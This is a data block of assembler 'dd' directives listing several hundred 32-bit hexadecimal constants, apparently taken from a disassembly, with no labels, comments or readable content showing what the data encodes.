dd 0C70E36E5h, 0C25CE758h, 0D13CF060h, 47806BFEh, 0B954FD8Bh
dd 0D40DD200h, 0A879106Ah, 0C8B40093h, 2CF8C06Eh, 44003127h
dd 3C504891h, 5C894Ah, 684F4CE4h, 79744E22h, 800013FAh
dd 9E8C52C8h, 984454h, 0A42756F2h, 3CB05891h, 0BC895A00h
dd 0C84F5CE4h, 0D45E0022h, 4E986078h, 8B481C4Ah, 6AD00143h
dd 10484170h, 58EA3D30h, 4A00FD28h, 38EE8230h, 120BF054h
dd 60F2A040h, 16089EDh, 68F40B2Ah, 0DC709C61h, 7805F80Fh
dd 6CC17CC9h, 0D7CB1CB1h, 80E41CD2h, 46890495h, 4FE80350h
dd 180E0910h, 20776A77h, 4428A807h, 6A41FF68h, 0F6F94089h
dd 4AA370h, 586E224Ch, 6012FC54h, 68FEA012h, 7000721Ch
dd 782502ACh, 807C3B04h, 889606BBh, 702AA61h, 60980A09h
dd 5CA07ED4h, 0C600B64Bh, 0B4F261ACh, 329CB8F9h, 0F2BC000h
dd 2CBC81Ah, 0D4B2A4CCh, 33F8EED3h, 56E4F209h, 0F0432726h
dd 0F892F420h, 0C12E0EB1h, 30292B35h, 51501AE2h, 38F034ECh
dd 0DD2E4Ch, 0DE2F4497h, 0BC4CCA4Ah, 9CC960F9h, 0ECE442A4h
dd 3812565Fh, 0C0B4A10Eh, 4EBC26B8h, 0B2C40092h, 5EC3E464h
dd 0F400F3F0h, 4CCBF8F2h, 43681h, 506508C9h, 7601BDC2h
dd 0FF8BC04Eh, 609082EAh, 15E863E8h, 1144EB0Eh, 90DB8782h
dd 0B00A2EB5h, 18DE4D01h, 902944BBh, 2B18DD03h, 8311719Dh
dd 30D833BDh, 2FE989ADh, 0F0E832Eh, 3B053E85h, 0E0308D18h
dd 95FF5027h, 7D31EC20h, 1BDC6089h, 9D8DF88Bh, 5311ED66h
dd 36E8432Dh, 42287979h, 445721FAh, 0D48B4E7Dh, 56186A49h
dd 68046A07h, 0EAA01006h, 38ABDF46h, 42684C6Dh, 3AA37526h
dd 0C70C2A45h, 3774E853h, 51C87F8Bh, 0B5E10FBDh, 0A4F31B41h
dd 7623ACE2h, 5036A380h, 0E8D57E3h, 2C51850Eh, 0C3C007EFh
dd 409C010Ah, 9063211Dh, 70082080h, 1347843Ch, 18C1452h
dd 21CC38FDh, 0E1F8D750h, 5002057h, 142C330Ah, 16F85h
dd 9D8B04FFh, 0CC02A55h, 74DB0B07h, 3600A7Ah, 598587h
dd 8DF08919h, 1171B531h, 2C3E832Eh, 0D36A8403h, 8B40A847h
dd 1F047846h, 829968E4h, 638501Eh, 30559A90h, 560DECC3h
dd 309F88Bh, 0A0BBA09Dh, 0F29AA051h, 807102h, 2D706EBDh
dd 0FE4C7501h, 9408501h, 50033E8Bh, 0FF1EFCh, 7C6370Eh
dd 8FD7A7C3h, 8FDFF6F9h, 3BA54C4h, 5506E983h, 333F80B5h
dd 0C90B01DBh, 781C0374h, 0C4C06F1Ah, 0A308BBh, 4304D8E9h
dd 0EDEB0149h, 0F81E292Dh, 0C6CD00A5h, 0FA4C76F3h, 0E0B70DE0h
dd 0E66258A6h, 36E248h, 2F90CC1h, 0E18DA5F3h, 3C037700h
dd 88535EA4h, 809C0750h, 679B8582h, 0B27D7108h, 0C198607Ah
dd 0FF0745F6h, 64E402A9h, 95E129F0h, 864B3B55h, 2B0F1980h
dd 417574D0h, 100F60B5h, 0B88A0046h, 3235D67h, 4C2E3A6Dh
dd 8B007CFFh, 8834E54h, 0ACD10073h, 66ADCA7Dh, 0C10B07EFh
dd 0DF910CEBh, 0B9DBB00h, 161F5002h, 201F033Dh, 812F2CC0h
dd 3FFE314h, 1F79820Fh, 0D4990401h, 0FBB2E51Dh, 462D0EB8h
dd 0A4E03FE7h, 0D9B800E2h, 4B61DC9Eh, 350128Bh, 0C0460E2h
dd 7140C085h, 0EB835380h, 0D8EA09C2h, 0F000C7A2h, 3275260Ch
dd 16530700h, 6E0429F0h, 0C74A004Dh, 0A9413BB4h, 460EC403h
dd 0C0664706h, 0ED6A107Ah, 0B71B0057h, 1A7ED618h, 0B000FA51h
dd 0DB850D41h, 2A2A499h, 0EC62F759h, 0C0F58001h, 43DA48h
dd 8A5653C5h, 0AC7F6502h, 5019B507h, 6730E8B8h, 1F6F755Bh
dd 12A25A6h, 98D28B57h, 2BC7CC65h, 4231341Eh, 2A99E9C0h
dd 0E064939h, 5337DC36h, 75188EE0h, 0D3005A24h, 0E2C1124Ah
dd 2631402h, 7B3F7C0Fh, 10DF833Ch, 401CA320h, 0A100DED9h
dd 16EB5F23h, 3B21515Ah, 4B8081A4h, 4C830789h, 370004B1h
dd 0E7AF32E9h, 744A2D06h, 0A100392h, 0C1D9141Ch, 24FEEBF8h
dd 4485BA17h, 3DA44D00h, 0E6C25B48h, 11100004h, 7561022Fh
dd 13EB808h, 4B0C8022h, 0C3032BF5h, 8D1C0093h, 51B71558h
dd 0D300AC50h, 0BB7656DCh, 732542DEh, 21A30048h, 302708EDh
dd 4A0094DBh, 3C641A8Bh, 70D0D83Dh, 10C40483h, 0C3306A5Fh
dd 1DC24689h, 0F6C9C260h, 8A2C4701h, 5B513C97h, 0E0297430h
dd 0B3A40072h, 0F6F8277h, 9B00236Ch, 0C0AEBBECh, 0AC65FCh
dd 1DA59D08h, 0B6E3403Ch, 6164700h, 3109F156h, 32F60058h
dd 4DA49D0Eh, 0AC0071FEh, 0E3910BECh, 10425Bh, 0D5EF77F7h
dd 0E9E7F97Ah, 0ADE5B600h, 57212ED9h, 6BC000E0h, 3ACBA25Dh
dd 0D5009DC1h, 82AD3925h, 3644F2h, 0DD6573E8h, 0E3DAA494h
dd 8CE9B400h, 1F43537Dh
dd 0C79B00CBh, 0E26D4C46h, 0E500D8DCh, 8B9F5205h, 399E71CCh
dd 9080E941h, 55FD213Eh, 28774298h, 68083A00h, 9B1037DBh
dd 7BE80F1Ah, 0DEEED52Eh, 9400B974h, 9779CF04h, 0FD00112Ah
dd 52744972h, 5F7AF3h, 0D748AD0Eh, 4E247356h, 47596C00h
dd 0B9EAE0CDh, 983B00CBh, 9C1E516Bh, 30004486h, 61FA69C3h
dd 67F0E8h, 8907164Fh, 0F19A83CFh, 6D3EF7E0h, 6343007Bh
dd 49CE6292h, 7DCF00B0h, 6003D32Bh, 0DE0F27BCh, 20206DEDh
dd 8EC122C6h, 0D0AF0036h, 1F9AF57Bh, 0B13BE8ACh, 74CC8049h
dd 7F21437Eh, 0B87A002Dh, 0B371BB57h, 68989948h, 910153E8h
dd 8D7804E6h, 0ACC47C16h, 0E0F200BDh, 50F7CF86h, 0E100D441h
dd 1616E81h, 0D058FCh, 4B972449h, 52EA1460h, 0B53E3003h
dd 0E0DC743Fh, 798CEB88h, 0BE1200FBh, 0C5A349A7h, 355B1589h
dd 0AF06A0h, 815F2458h, 0BF9BC2DEh, 7B4B3906h, 0C1BA0B98h
dd 360490DCh, 891C466h, 0AE4AB400h, 0D6FE3523h, 8B0E002Dh
dd 5294F83Ah, 43073049h, 56B1F975h, 0D0579363h, 9E2D2h
dd 4A2682E8h, 0AE2F06CAh, 5E1E4B01h, 964866E7h, 3E86620h
dd 34FDF544h, 50013E0Eh, 0A41797D6h, 0E30671Ch, 4A9500E3h
dd 4F6FBBE2h, 0C2E27951h, 20D02400h, 77DBEA4Bh, 2D5600CBh
dd 14461D6Eh, 3B7F7327h, 4B165E16h, 0DC38E500h, 1AB19Bh
dd 0C9F031B8h, 1F6DEB41h, 11C2CC09h, 2A7800D3h, 2C8938CAh
dd 30E60Fh, 3E651731h, 0C1745EC2h, 0C0B731Ch, 1364CFC0h
dd 804B8Ch, 3100E1Bh, 0FE081D32h, 0CA54E700h, 557B393Eh
dd 87B7009Dh, 323749C2h, 9501036Ah, 62C30D10h, 74CC0AFCh
dd 7B80038h, 9C588FB1h, 819877A8h, 80E6B03Ah, 0A52AB60h
dd 2DB24Ch, 0BC3168FBh, 2B4B5811h, 8ABB2E00h, 2454411Fh
dd 0C1B0051h, 1EF2DB63h, 7400440Fh, 876EBE17h, 77F7Ah
dd 13512545h, 0A83ED9BBh, 2603717Dh, 7C22D406h, 9339A88Bh
dd 929B004Ch, 7F5F3730h, 0AEFE1180h, 15BDBE00h, 5D90FCA6h
dd 0F4AAE042h, 922000C4h, 8D866C93h, 481F9483h, 40009077h
dd 975A7F07h, 0B17FD1h, 0DFEF7062h, 0CEBD95CCh, 370CA707h
dd 90606976h, 0CADDF1h, 0EF2611B0h, 0A0C2D592h, 0BA00EB90h
dd 326204ADh, 1E460C64h, 521668EEh, 0C03C1CA2h, 37D12903h
dd 5F07D8F4h, 0D42E6527h, 7B928DA0h, 81B7587Fh, 4C86900h
dd 3125D355h, 0B0A7140Eh, 7356AF84h, 0D6812A09h, 0D0D30758h
dd 0CC67038Ch, 705EE8C8h, 83E99800h, 76CD996h, 2C8B02C5h
dd 4BED8124h, 0C33D4F50h, 60EC9A55h, 0B834C308h, 0FC0C7Dh
dd 68A80B2h, 47078846h, 75D2020Fh, 4E164F05h, 0EF73E512h
dd 2B4A0B28h, 840DC033h, 0B1D6830Fh, 130F5C3Fh, 0F00BC057h
dd 3E570674h, 718F82Bh, 0A0EBBD5Fh, 3EA7A0B0h, 83EA7260h
dd 28F0FBE8h, 1020ADB9h, 8B56F0C9h, 0F52B00F7h, 0E95EA4F3h
dd 2C1FF58h, 8E0C148h, 0E88BB251h, 3DCE315Ah, 73367D0Ch
dd 50E1A64h, 410E8A1Fh, 88F01040h, 0F8838118h, 0D403777Fh
dd 15AE02C1h, 0A316FBh, 0E8C0C933h, 83127401h, 0B602D135h
dd 0FEE71C71h, 83DC5D03h, 0FC998926h, 8C2E061h, 4538799Ch
dd 6B0E1EE2h, 726E7265h, 7B9D9CACh, 69563E70h, 6175748Fh
dd 6F1641CCh, 3B0D6356h, 0D6653846h, 3B503E0Ch, 637AFE6Fh
dd 783F45E0h, 872AC569h, 9E451AE7h, 338C3575h, 291F4D43h
dd 42C36761h, 8341786Fh, 7270D877h, 746E1969h, 7B4C1466h
dd 52458D80h, 3C06DD20h, 0D6C4BDF6h, 643E7050h, 5FB8756Fh
dd 79C64237h, 53BEFF20h, 0EF73251Fh, 0FC3FE271h, 625AD0DFh
dd 6187A638h, 381EDBE2h, 0E56B7DF7h, 6DFBE379h, 2E6663E3h
dd 3F0B6B20h, 756D7262h, 27DD7B68h, 1E26D67Bh, 0BC437556h
dd 0E0C14990h, 0E509D232h, 33181709h, 33FD4702h, 0FEF741F1h
dd 2398F5D5h, 0C1A16F4Dh, 6148F86Ch, 0AC466E6Fh, 7B4C2741h
dd 93D2F56Fh, 0B3F6FC53h, 6AA9B48Dh, 15704B8h, 98EFBFh
dd 0FFFFA899h, 1992h, 0CCB4F7F8h, 4DAD7F49h, 9CC3245Eh
dd 10D1707Eh, 0C10B8D64h, 809C115Fh, 6FA8E59Dh, 0A80AA3B0h
dd 906D0490h, 855FC24Ch, 57E2F9F0h, 9FAA5EE7h, 44E3AEB4h
dd 276117h, 0B892BACDh, 0D29E5EEBh, 4261F2AAh, 32FDA2Ah
dd 376251F0h, 42B23404h, 970BD42h, 0C933E6B4h, 0B16ABFCh
dd 9EFD8FECh, 0BBD419CBh, 0F0D6EEDDh, 0F69BCEF1h, 9BE46419h
dd 326AA0BBh, 0D0E9F6DDh, 0D5CEA6B6h, 99627BF1h, 262FCDD0h
dd 116AD4B1h, 0E828F331h, 21B33809h, 70AC67CCh, 76A6C44Bh
dd 82141FE7h, 0FD8B4C11h, 9F5A84BCh, 0F9F7A7B0h, 0A4765071h
dd 55C93B76h, 0CFF86243h, 0BBB4E72Fh, 0C5CA1392h, 209770DCh
dd 7D56CAC9h, 9D511ABFh, 36540E20h, 2C322249h, 0F9955888h
dd 4E015080h, 23055FCBh, 461082B3h, 0BEB0A094h, 5E5018B7h
dd 79DDFFAEh, 7608C2E5h, 62F0CEF3h, 6A7F0F5h, 7C12AEE6h
dd 44C31E10h, 0EC8571B2h, 0EE35EC7Eh, 14EF2566h, 3137EC4Ah
dd 5A3DA0E2h, 0CC5C20FAh, 0E6506065h, 90A6A66Fh, 48310397h
dd 62EB66B5h, 8D18D5BEh, 27CEEB2Bh, 994E1A6Ch, 0CE383C36h
dd 94D52C1Fh, 0FFEC6E9Ch, 548AB8Fh, 0BDF4899Fh, 0E5A8F58Eh
dd 2CF1D2FAh, 0A532CC67h, 0DEF4499Fh, 37F8F71Dh, 6BD2DB77h
dd 7CE32ED7h, 70EAF3A9h, 4E99FDC6h, 26DB854Dh, 0E7092989h
dd 0AAC9FAADh, 0A97BB337h, 957190A1h, 5B3CBD77h, 0F623262h
dd 29451AE5h, 0F55F29EDh, 0E879B090h, 1A5FEB80h, 0F54A367Eh
dd 6258C885h, 3CE908C5h, 0A25FA1FAh, 973AE6E2h, 5030ED74h
dd 96E1248Ch, 0AF8BA6FDh, 0FA5196Eh, 783A0A90h, 66E09929h
dd 637DC888h, 4F2486D3h, 0ABBB9E79h, 84FA7FE6h, 2F5A4C65h
dd 9DF881D5h, 1AC6A70h, 397F9Eh, 31B60A89h, 8755D571h
dd 0AEB2DB95h, 97F43437h, 0F5AC6B4Fh, 8E0B508Ah, 0A9CC014Eh
dd 54485C6Bh, 0C7F3148Bh, 3A90C4F2h, 1481E7ECh, 0B779A8E6h
dd 0AA9B7F33h, 0CD32F529h, 10FF127Ah, 36A8CE61h, 0F84A9FEh
dd 42F031A1h, 0F9A37C51h, 0E385C0D6h, 0D4C2253Eh, 9DF8DF92h
dd 6A4B9DA4h, 5568D643h, 649ED68Fh, 8BF8DEDFh, 0D8955CCCh
dd 0E629BEFCh, 3107DBF6h, 0F07D698Ch, 1F7D7D58h, 3C7AC99Fh
dd 0DD165F6Bh, 0CEAE2C99h, 0A4C9C46Eh, 2EE734ADh, 31BB3F61h
dd 831DB9D9h, 590999CDh, 0BAD907Ch, 0D6E2FC58h, 8653CF50h
dd 68F2F838h, 8C4168B0h, 21CD2247h, 86868869h, 0EB7628C3h
dd 9BE2E561h, 0F4999767h, 0CE56A945h, 1946E152h, 0BFF1CD53h
dd 65012AF0h, 3583285Ah, 60419CDAh, 2BE8C72h, 8BA5B9DEh
dd 2DA5DC9Fh, 0EA873B55h, 0B41AF8Ch, 0A798F05h, 91F2AF45h
dd 0AD35D31Ch, 0CC955391h, 83307E62h, 0F2BB83A0h, 0D0BF0629h
dd 5E47FCCBh, 7C86389Dh, 84D8ECFEh, 0F09AC750h, 0C39B74A9h
dd 0F5FC8968h, 6B6FAEE5h, 8B7F9AECh, 0A38BAB1Ah, 7ADB7F2Dh
dd 25BA5B26h, 754FA781h, 58277107h, 0F97B05A1h, 0B0DF767Dh
dd 0FC63F611h, 0C0E7B070h, 0A0864AA2h, 0D80F8654h, 63E0B3BBh
dd 1259DC78h, 7D81E62Eh, 0D5667400h, 25978371h, 0FC8B2770h
dd 35FA25F0h, 237C94Eh, 1CD643BFh, 931957DBh, 13159DD0h
dd 8BE2B4F0h, 5A2311B7h, 0ACD58F6Bh, 15F32F07h, 0D0363A56h
dd 4F2F5F5Bh, 17412339h, 0BDDD77ECh, 722E9D89h, 0C26BB501h
dd 0B36DD792h, 0F22C2765h, 6C205327h, 1D6958A8h, 1C82A471h
dd 0E9A6CDA8h, 19881965h
dd 84ACC8F2h, 24E28DABh, 7CA672D1h, 0AFBB24DDh, 399E5C17h
dd 0CAFCCE0Ch, 51555040h, 7941297Dh, 0BA4B54A9h, 0A952DFC6h
dd 0B7B701BBh, 3E4791D1h, 0A714E0ABh, 0FC76E1F6h, 57CDFAAFh
dd 987DB6E9h, 4C6B61C9h, 0F4516375h, 3EEFD9BCh, 8A9F4B71h
dd 3DF390D7h, 7A450CBFh, 0A72E1619h, 4B6B3EEAh, 0E6FDA3EFh
dd 0FABE6AD7h, 71AA162Ch, 0C10F3BF2h, 7E67F74Eh, 0F399755h
dd 1B8AD6CDh, 83F48251h, 7CD21421h, 6E5C9648h, 242061A9h
dd 0E3A55A7Ch, 9C99E569h, 10EDCF14h, 3B1B1FFFh, 9DC1617Ah
dd 90251686h, 241528BBh, 3BB19EB2h, 0E3A7436Dh, 0D23A7502h
dd 5146D918h, 28BED52Ah, 4B53B5B8h, 3493FFD4h, 0F786393h
dd 528FFB26h, 0B5C3B54Dh, 0F803513Eh, 5A68B966h, 1E7F38C6h
dd 0ECD72BE7h, 0C0136EEEh, 59A180Dh, 34C7318Dh, 3EB05553h
dd 0D0CE39B6h, 21FAFEB2h, 0C8F16E1h, 0C9C6D54h, 89A3EBB5h
dd 6DB6A454h, 8116AF87h, 88E4F122h, 0F86F910Dh, 652EE004h
dd 0CAEE2C83h, 0C4E74E79h, 5273BA57h, 23253B17h, 0C7D479F6h
dd 0DA67D712h, 539E8C6Eh, 30F9CEEFh, 53F977A0h, 0DB9D4710h
dd 0E37835B4h, 5FBBDCD8h, 0BF32854Dh, 0B22CD1F0h, 1ABC0614h
dd 0C127BB1Ch, 0B8632707h, 363271AFh, 33F0F0B4h, 5648DEC9h
dd 670FBB1Ch, 0F5D765F0h, 3E3AFD22h, 0C896B810h, 7E067DEAh
dd 77178672h, 0E46E0659h, 0C6914303h, 0DF02B12Bh, 1BD94E20h
dd 691B414Ch, 0C92DD99Eh, 93AA313Dh, 0A0489B00h, 69D9CA34h
dd 0F7BA8460h, 0D3406C0h, 0A918B295h, 5B4D40D4h, 0B0FE450h
dd 7F56D26Bh, 320D5751h, 869F9164h, 0FD0C52F7h, 1476A550h
dd 77967503h, 3724F80Eh, 7A42F3CEh, 0C6BE9084h, 57B2C73h
dd 0E0AD1BDDh, 6D5BBDDEh, 1BA587E5h, 0F29AE18Ch, 120D79Ah
dd 0EA51DC6h, 0D15222Ah, 4DA1C638h, 7D1441ACh, 1AB880B4h
dd 0AC88DDC3h, 0F71318EDh, 0E0C255F4h, 0B6230D57h, 95762C08h
dd 0ABE9ADE1h, 0F7933DD6h, 93F1CD78h, 19AA42A2h, 0B5ADF80Ch
dd 2A9B063Eh, 8B9E9CC2h, 13835ADBh, 5ED8890Eh, 0C1688C87h
dd 0FC35E5C1h, 0C2E3594Ch, 0B4BC1092h, 0A2166CD4h, 130C522Eh
dd 0FA24F910h, 19DBFE02h, 0A50368A1h, 2D0BEE7Ah, 9564477Ch
dd 0AF828F2Eh, 0B7331EAEh, 0DDDEF8B4h, 7ABAA7DBh, 0FD02D9FBh
dd 0C4266650h, 0B36390C1h, 0C81AF00h, 510E804Ch, 42489C30h
dd 56A4B1B9h, 5C138180h, 0F53AA0DBh, 4F05388h, 0E774E3Eh
dd 5AAEDE6h, 0D7B412DFh, 0ABED0955h, 488396BFh, 8AEFF9F2h
dd 98697FB0h, 0F3EDB577h, 0CFEA77D2h, 572EA08Dh, 0A8048AC0h
dd 8B94DE67h, 6F2F10F7h, 15FF3B5h, 64D60D79h, 128BBFDBh
dd 0D44C354Ah, 0D6C214E6h, 0AF00BCBEh, 663843F8h, 0D86DAFCAh
dd 6EF33809h, 3121AC1h, 2D001BCBh, 38468FCFh, 0A892268Fh
dd 76DFDEC3h, 0D3F3329Bh, 5B582E18h, 94CA8A7Bh, 7BEE86A5h
dd 4AF42B6Dh, 91D317F0h, 2E51127Dh, 696FC46Bh, 5781C6EFh
dd 5D626FE9h, 0E96D06FDh, 6DA9C574h, 0DBB9D2Dh, 0A07C7DA9h
dd 4100C1FAh, 0A5E89840h, 8351273Ch, 0BE2BC0B5h, 20DF8382h
dd 84DB705Bh, 3C67518h, 3472B1F4h, 36F43421h, 0D8867A09h
dd 0E99B7C7Ah, 5002F2F3h, 0F052D3E5h, 0A9B72731h, 810FACE0h
dd 0DE1A7EFEh, 3AE4F74Fh, 1BB0FD51h, 75711BF4h, 99815B0Eh
dd 0B5E63F8Ch, 0C70AE00Fh, 0C170FE3Ch, 9FCE0F0Fh, 0C46A32B4h
dd 0A76D6734h, 58EC18CBh, 0A479DA81h, 0DCBE1943h, 2EEDB31Bh
dd 26454886h, 63195129h, 0D488E664h, 80781488h, 8D462510h
dd 1DE6DED9h, 257F6AD1h, 9DBBDAE4h, 81AFBCC9h, 8958D5ECh
dd 4A000E92h, 2AD7AF58h, 0C9A0FB3Eh, 0E582C2B2h, 0D32551C9h
dd 2934867Dh, 0B4166AB1h, 0E1BF33AFh, 0E844E70h, 74D8D8E9h
dd 5B91AB41h, 0DA7BA369h, 0AC6E5DEBh, 0F2F7E109h, 0C504C2C9h
dd 0F5FFED82h, 0BD26A4FBh, 0FEF67390h, 4B2ABFFh, 1AEA6DCBh
dd 0FD87B834h, 64FC71EAh, 4B6F624Fh, 86877346h, 0FB0A1789h
dd 0A160F3A9h, 0D66FEF24h, 5E7B3CAh, 0B39CF7FBh, 2465DE2Ah
dd 4B438BD6h, 3699FBF1h, 0D9426152h, 1DD206F2h, 0CF58A96Ch
dd 0D24CF978h, 1670DAE9h, 0FE9F85BEh, 3985ADB0h, 0F0F0730Ah
dd 0DFA6560Fh, 0AB3D880Fh, 253915F9h, 0E22F2BC7h, 4E057F8Dh
dd 810F48Ah, 0F1634014h, 25E17822h, 9DA19AF5h, 1B8B20Ah
dd 0F70D6CBBh, 0E6D7BA4h, 1896F14Ch, 0C718FBE9h, 75D076E0h
dd 7AA64DF4h, 0D3295557h, 188AC4B8h, 0C1B55C3Bh, 4282CB00h
dd 4A1C0CFEh, 0F0E96487h, 3809E91Eh, 0BECE7760h, 45E7F3F6h
dd 0F8959C7Bh, 4891A27Bh, 0E54C058h, 0D6D47F47h, 2BADB469h
dd 501C166Bh, 41F6FD2Dh, 0FF607891h, 85F5F0F2h, 4932AAE8h
dd 10CA0D24h, 4580B1CEh, 0C20F982Bh, 0BC461CCDh, 411F14BBh
dd 314BCC07h, 6423EA05h, 0FCF70EEEh, 0E1FC092Eh, 38D2AB9h
dd 945ECCB3h, 6DCF5010h, 0D1BB5AD7h, 95081D8Bh, 594ECF26h
dd 4D63226Dh, 14B6284h, 50D617DFh, 774C0360h, 8A11A085h
dd 23009FABh, 73EC9195h, 24C532BBh, 67A429AFh, 0C82A644Eh
dd 47B3F402h, 9526034Bh, 78AC27BBh, 3222727Ah, 5B235881h
dd 6C5097EDh, 96498EBBh, 157A8A4Eh, 0C35284C8h, 0A61F08AAh
dd 0B5883BA7h, 0B659F136h, 0D583F83Eh, 1C187014h, 0D95961D1h
dd 2CA7771h, 0D001F8D9h, 0E6CAE958h, 293751FCh, 0F276841Ch
dd 456B0638h, 259383FAh, 956082F5h, 5652980Eh, 82FEF5A3h
dd 0A4270195h, 7FD1C3BDh, 0D0707B9Ch, 0C0839461h, 0D6C6F9A9h
dd 0BA8F256Ah, 66BEA756h, 9EB69D68h, 0B9FABBF9h, 0AD4A8A2Bh
dd 0B777DC29h, 0BE4BBF1Ch, 0B3E782A9h, 0EB6F8DEEh, 7849B8F1h
dd 7AC528FAh, 0D2395627h, 0A1705305h, 3F5305A9h, 0DE023030h
dd 425B1DBFh, 83D8832Dh, 0F8A1049Eh, 0EF3B7432h, 53C03EA9h
dd 41DD0C0h, 4B92DEFEh, 61249DBEh, 0E4FE9B71h, 0F5DCF0D6h
dd 0F9390787h, 426E70C7h, 0ACB28A83h, 0BC22BED3h, 7531609Ah
dd 0EC09A08Fh, 763B6A86h, 13F9C0h, 60F7935Ch, 27034A1Fh
dd 6E64D1A2h, 169D6536h, 0F983F362h, 0D2C5C2F6h, 0ED0506Ch
dd 952E1763h, 15132B37h, 0F6ACF379h, 0D3169831h, 23B1D37h
dd 0B9104D07h, 41DA51B6h, 1D588EA9h, 2D2F9C2Fh, 0A1855116h
dd 0C1E9B29Bh, 0E045471Fh, 0F7484B47h, 9762E19Fh, 1E7E37E2h
dd 33637EE8h, 0D435D985h, 6BF2BA61h, 0CBD0FC54h, 0F9875542h
dd 0C5C70D95h, 0E816BBA0h, 84A4C09Eh, 2C77D0EFh, 2E502AB0h
dd 0F095CF05h, 0AA21AD77h, 0DDDF0CEDh, 4B799D32h, 5C13B6BCh
dd 3E44AA5Ah, 0FB50BDA7h, 621D8781h, 0D3D0BB0Dh, 0A0CFB9BEh
dd 0E04D614Dh, 19EC2FA5h, 76B04254h, 5BF687C1h, 2B677C5Dh
dd 0A8D7C9D5h, 0C207AD87h, 316FAC1Dh, 244163E2h, 0B90D7F0Ch
dd 8FBB8E47h, 9FAA4E36h, 0EBCB20B8h, 7C3FA93Ch, 6263C0Ah
dd 82A9F9A8h, 79916BD5h, 0B68F1A82h, 0AD5206FCh, 940120F2h
dd 6FC2089Ch, 1CC83F9h, 0C04295B1h, 0E5550F27h, 0AF7842B8h
dd 66F57C20h, 5687E1E4h, 0ECA0F50h, 9939E96Eh, 5A60C71Eh
dd 380F3F11h, 0CE20A266h, 0B4AA242Bh, 0D9E8005Ah, 706F441Dh
dd 0E5B2EEFh, 0A00BC3E9h, 0A5454398h, 0D98E9FB2h, 8FCDB0A5h
dd 3B818F1Ch, 9C889480h, 0E0166CF0h, 0D15720AEh, 0E7485FEEh
dd 0BEE04430h, 9343B813h, 0BDE2AA21h, 0BF3F00E8h, 43FD611Eh
dd 981ACDAAh, 9956F532h, 157EF269h, 655381F1h, 42E5381Ah
dd 7D8DE673h, 4922F744h
dd 0F1728731h, 6A31E983h, 1BBA9865h, 34A17AA1h, 8503407h
dd 6D1F8A81h, 0A9DEA4E9h, 413F36A4h, 5AA88E5Eh, 0CECCE62Fh
dd 7D18CC86h, 1499A699h, 15D8925Ch, 49C0470Ch, 0BAB3EEB9h
dd 39A6EF36h, 53ED15B2h, 0AFD64128h, 0D2C72D33h, 0F244FB63h
dd 66B423AFh, 913480F2h, 6527EDC2h, 0C9B745CCh, 0A854B201h
dd 0F05CA8FCh, 0B905D807h, 0A63F1FDCh, 4A0AE1E8h, 57126A23h
dd 7AE5CE3Eh, 1786936Ah, 0AFBB301h, 9EDFC9F1h, 22C7C313h
dd 38982167h, 1DE5660h, 6E882DE8h, 72B47234h, 72F9AF8Dh
dd 74E51589h, 9A5D3A3Bh, 82D0DF78h, 0D22C5F7Eh, 0F7CEEDABh
dd 116ECFC9h, 64D7F5F1h, 6F9E3F01h, 0CBE608C1h, 254DF9C1h
dd 0ED930918h, 0A39E5992h, 648EAB5Bh, 0E9CB6134h, 31168BF3h
dd 4CC6ED2Bh, 0EF8264D7h, 0FEA2B16Ch, 0D9D1FF97h, 0EDA51F69h
dd 0DF1C3DC2h, 0D50FDE8Bh, 50EB24F5h, 0D707D1ABh, 8425BD2Bh
dd 0F219CECAh, 0ADFE5669h, 47D92B0h, 0B28BE95Fh, 556FFA46h
dd 0A009DD6Bh, 93891596h, 55083D30h, 61C31237h, 7211FB20h
dd 0C7D30677h, 97309B5Ah, 566B64C4h, 0A3FBAD3Dh, 0ABB1277Bh
dd 0D355A077h, 82C20926h, 55D13816h, 344127ECh, 30DAC2BEh
dd 2ACAC9CFh, 2F8D4B6Dh, 5F4C2E83h, 44A28580h, 498A8F78h
dd 8FDDE770h, 13470D72h, 0EEB7846Eh, 0A78AA60Bh, 0E3EAAF71h
dd 90F78CBEh, 4A6E3915h, 49D61DEBh, 58B39CF4h, 0BF58992Dh
dd 66CBD9FBh, 4C82CCC3h, 0F332AA27h, 0D2492123h, 48568A4Ch
dd 545B26D2h, 9B8DB26Fh, 97962CC9h, 0C056E386h, 0D20E2C52h
dd 0F01A1937h, 5B940546h, 1D7C404Ch, 0B3BE005Bh, 7A85DDE3h
dd 0B5C646BEh, 8E677205h, 3B43B9D6h, 0F1B310DAh, 0E1E0297h
dd 7AE3FD44h, 73B32CC2h, 0A6C9C1Dh, 5D276627h, 0DBFB4D73h
dd 29097256h, 0A853FB49h, 57CE7548h, 3D06BCEEh, 63A4C05h
dd 763EF929h, 67CDE64Fh, 0C08B8D9Bh, 0C89CD5B9h, 0E04D9D0Bh
dd 5CA21F9Fh, 3E9E9E37h, 0FC8C48F8h, 748CE6F6h, 57F95B20h
dd 15E4C1B8h, 0FF43AD82h, 0A7431217h, 0C4889996h, 5184FA13h
dd 2BA8B0h, 62E8C437h, 0DC3414F9h, 2F175E2Bh, 0D7F160BCh
dd 0F7098343h, 8734E74Eh, 0FA518972h, 4811DDF9h, 686B20E6h
dd 952FC250h, 123979B5h, 1588C1E4h, 50CF29CFh, 8FE780A7h
dd 4BA05526h, 7A9DC91Ah, 0EC0F10E7h, 8DE283D5h, 0B6B41C9h
dd 2EE232C8h, 0C2B4C037h, 0BC2EA46h, 1E5CA095h, 4BA236Ah
dd 5EF4602Dh, 8800532h, 7F970AC9h, 0BA98114Eh, 0DC99E4E4h
dd 0A06D1AE0h, 8A107A2Eh, 77B672DFh, 0A3143AEh, 0E773D54Ch
dd 537E4E00h, 2E7ABB72h, 0FDB70CDCh, 3F4A104Eh, 287AF0C2h
dd 0F20D7E3Fh, 32A9BEAh, 26AF1E00h, 0DC519697h, 0C5852D2Ch
dd 1C80360Fh, 7A1673BBh, 3022448Ah, 0A5D96188h, 3037F88Ch
dd 0BEB5AC36h, 52321015h, 0EDCE6B2Eh, 68685E37h, 0B4AE76FDh
dd 90040A36h, 36F3F905h, 2717D44Ah, 56EB0C1Eh, 4C544396h
dd 0A0E0E864h, 68E117F5h, 34D92B23h, 8BB46DB0h, 3037E115h
dd 0BFC28D57h, 79B2CD75h, 0C5B0ED56h, 56CCA9C0h, 4D8EF1EEh
dd 0AA2852CDh, 0F8647DCCh, 8427EC00h, 68B17A44h, 1466E7E6h
dd 0D50B0629h, 7A4CF75h, 0E8CF72ACh, 350A7CD7h, 1AE847FDh
dd 160DF974h, 0D954B952h, 2AAB05C2h, 4AF36770h, 97D45EC1h
dd 0C0A37BEFh, 0A9927A68h, 7DCDC2E6h, 2AFE50EEh, 5ACF4F2Bh
